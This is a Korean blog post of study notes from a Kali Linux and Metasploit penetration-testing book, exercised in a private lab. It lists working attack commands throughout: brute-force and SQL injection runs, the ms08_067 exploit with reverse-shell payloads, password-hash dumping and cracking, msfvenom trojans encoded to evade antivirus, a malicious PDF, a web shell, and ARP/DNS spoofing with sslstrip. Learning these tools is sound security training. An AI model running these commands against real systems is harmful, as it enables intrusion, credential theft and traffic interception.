본문 바로가기
  • (개인)정보보호/최신ICT 정보 공유 블로그
나의 서재/14. 칼리 리눅스 입문자를 위한 메타스플로잇 중심의 모의 침투

칼리 리눅스 입문자를 위한 메타스플로잇 중심의 모의 침투

by 노벰버맨 2021. 4. 10.

스스로 보안 상태를 점검해 보고자 하던차에

백트랙의 기억을 되살려 칼리 리눅스를 경험해 보게 되었다.

많은 기능들 중 주요 기능에 대해서 느낄 수 있는 기회였고 이를 통해 각 모듈 또는 기능들에 대해 좀더 관심을 가지게 되었다.

 

 

######### "칼리 리눅스 입문자를 위한 ~"에서 소개한 참고 서적 #########

nmap nse를 활용한 보안 취약점 진단

공포의 해킹 툴 백트랙4

네트워크 검색과 보안 진단을 위한 nmap6

모의 해킹 전문가를 위한 메타스플로잇

모의 해킹을 위한 메타스플로잇

배시 쉘로 완성하는 모의 해킹 기술

백박스를 활용한 침투 테스트와 모의 해킹

백트랙으로 시작하는 무선 해킹

실전 모의 해킹과 침투 테스트

침투 테스트

칼리 리눅스 실전 활용

칼리 리눅스를 활용한 모의 침투 테스트와 보안 진단

칼리 리눅스와 백트랙을 활용한 모의 해킹

파이썬 오픈소스 도구를 활용한 악성코드 분석

해킹 초보를 위한 웹 공격과 방어

 

 

##################

 

 

메타스플로잇

메타스플로잇 프레임워크

펄 -> 루비 언어 사용

객체 지향 

침투 테스트 도구

포트스캔

DoS

Fuzzing

 

Exploit 1,467개

Auxiliary 840개

 

service postgresql start

msfconsole

db_status

db_services (모두 삭제 시 db_services -d)

 

MSF는 PostgresSQL과 연동

http://www.postgresql.org/

 

 

수동적인 정보 수집

메일 주소와 관련있는 호스트들의 IP 주소를 조회할 수 있음

nmap -p 80 --script=http-email-harvest facebook.com

[harvester]

theharvester -d facebook.com -l 10 -b all

==> 두 명령어의 결과값이 다름

 

능동적인 정보 수집

[nmap]

[db_nmap](MSF)

 

use auxiliary/scanner/portscan/tcp

use auxiliary/scanner/ftp/anonymous

use auxiliary/scanner/smb/smb_version

use auxiliary/scanner/netbios/nbname

 

 

brute force attack

SYSTEM

use auxiliary/scanner/ftp/ftp_login

use auxiliary/scanner/ssh/ssh_login

use auxiliary/scanner/telnet/telnet_login

use auxiliary/scanner/smb/smb_login

 

DBMS 

use auxiliary/scanner/mysql/mysql_login

use auxiliary/scanner/admin/mysql_sql

use auxiliary/scanner/mysql/mysql_schemadump

use auxiliary/scanner/mysql/mysql_hashdump

 

select frist_name, last_name, user, password from users where first_name='admin' and last_name='admin';

==> SQL Injection

 

select frist_name, last_name, user, password from users where first_name='admin' and last_name='' or ''='';

 

select frist_name, last_name, user, password from users where first_name='admin' or '1'='1';# and last_name='' or ''='';

 

select frist_name, last_name, user, password from users where first_name='admin' or '1'='1';-- and last_name='' or ''='';

 

 

[SQLMAP]

sqlmap -u "http://192.168.10.202/dvwa/vulnerabilities/sqli_blind/?id=test&Submit=Submit" \--cookie="PHPSESSID=859D7E6750BC0796884281A54391761C7; security=low" --dbs

 

sqlmap -u "http://192.168.10.202/dvwa/vulnerabilities/sqli_blind/?id=test&Submit=Submit" \--cookie="PHPSESSID=859D7E6750BC0796884281A54391761C7; security=low" -dbs "dvwa" --tables

 

sqlmap -u "http://192.168.10.202/dvwa/vulnerabilities/sqli_blind/?id=test&Submit=Submit" \--cookie="PHPSESSID=859D7E6750BC0796884281A54391761C7; security=low" -dbs "dvwa" -T "users" --columns

 

/root/.sqlmap/output/192.168.10.202/

/root/.sqlmap/output/192.168.10.202/dump/dvwa/users.csv

 

PHP언어에서는 mysql_real_escape_string()함수 이용 SQL Injection 공격에 대비

 

 

 

search osvdb_13378

use exploit/unix/misc/distcc_exec

set payload cmd/unix/bind_ruby

set rhost 192.168.10.202

exploit or run

 

 

use module~~

set payload~~

 

 

ctrl+c, ctrl+z(백그라운드)

 

sessions -l

sessions -i (Session ID)

search osvdb-34700

exploit name --> Module 

 

BOF(Buffer over flow)

데이터 실행 방지

주소 공간 설계 난수화

스택가드/스택방패 방법

 

 

use exploit/windows/smb/ms08_067_netapi

set payload windows/meterpreter/reverse_tcp -meterpreter 환경

set payload windows/shell/reverse_tcp -shell 환경

 

set rhost 192.168.10.201

set lhost 192.168.10.220

set lhost 443

exploit or run

 

shell

screenshot

run ~~anti-virus engine

sysinfo

getuid

getsystem

getuid

 

공격자가 주입한 프로세스가 정상적인 프로세스로 인식되도록 조작하기

getpid

ps -S explorer

migrate XXXX(explorer의 PID)

 

 

JtR(John the Ripper password cracker)

/etc/john/john.conf

/usr/share/john/password.lst

/root/.john/

 

john

unshadow /etc/passwd /etc/shadow > /tmp/password.txt

john --wordlist=/usr/share/john/password.lst --format=crypt /tmp/password.txt

john --show /tmp/password.txt

 

Windows JtR

ms08_067 공격 이용

run post/windows/gather/hashdump를 이용해 (NT)LM HASH 값 획득

john --wordlist=/usr/share/john/password.lst --format=LM /tmp/password.txt

 

 

hydra -L /tmp/users.txt -P /tmp/passwords.txt 192.168.10.202 mysql

medusa -U /tmp/users.txt -P /tmp/passwords.txt -h 192.168.10.202 -v 4 -M mysql

 

 

 

################

3대 침투 도구 : MSF, BeEF, SET

 

트로이목마

msfvenom

msfvenom -l encoders

 

msfpescan

 

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.220 lport=443 -f c -o /tmp/malicious.exe

 

chmod 777 /tmp/malicious.exe

 

cat > /tmp/malicious.rc

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.10.220

set lport 443

exploit

 

 

다중 인코딩(x86/shikata_ga_nai를 3번 인코딩)

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.220 lport=443 -f exe -e x86/shikata_ga_nai -i 3 -o /tmp/malicious.exe

 

다중 인코딩(procexp.exe파일에 procexp.exe 파일을 인코딩)

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.220 lport=443 -f exe -x /root/procexp.exe -k -e x86/shikata_ga_nai -i 3 -o /tmp/procexp.exe

 

 

MSF에서 악성코드 만들기

use exploit/windows/fileformat/adobe_pdf_embedded_exe

set infilename /tmp/beef_attachment.pdf

set filename BeEF.pdf

exploit

 

 

 

XSS

use exploit/windows/browser/ms10_042_helper_xss_cmd_exec

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.10.220

set lport 443

set srvhost 192.168.10.220

set srvport 80

set uripath /

exploit -j -z

 

 

Web Shell

weevely genernate 1234 weevely.php

weevely.php upload

weevely http://192.168.10.202/dvwa/hackable/uploads/weevely.php 1234

/usr/share/w3af/w3af/plugins/attack/payloads/webshell/

 

 

 

/usr/share/metasploit-framework/modules/

하위 디렉토리에 메타스플로잇의 모듈들 위치

 

MSF 백과사전 사이트

https://www.offensive-security.com/metasploit-unleashed/

 

DNS Spoofing

ettercap -i eth0 -T -P dns_spoof -M ARP /192.168.10.201// /192.168.10.2//

 

SSL Spoofing

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

arpspoof -i eth0 -t 192.168.10.201 -r 192.168.10.2

sslstrip -l 8080 -w /tmp/sslstrip.log

 

 

setoolkit

댓글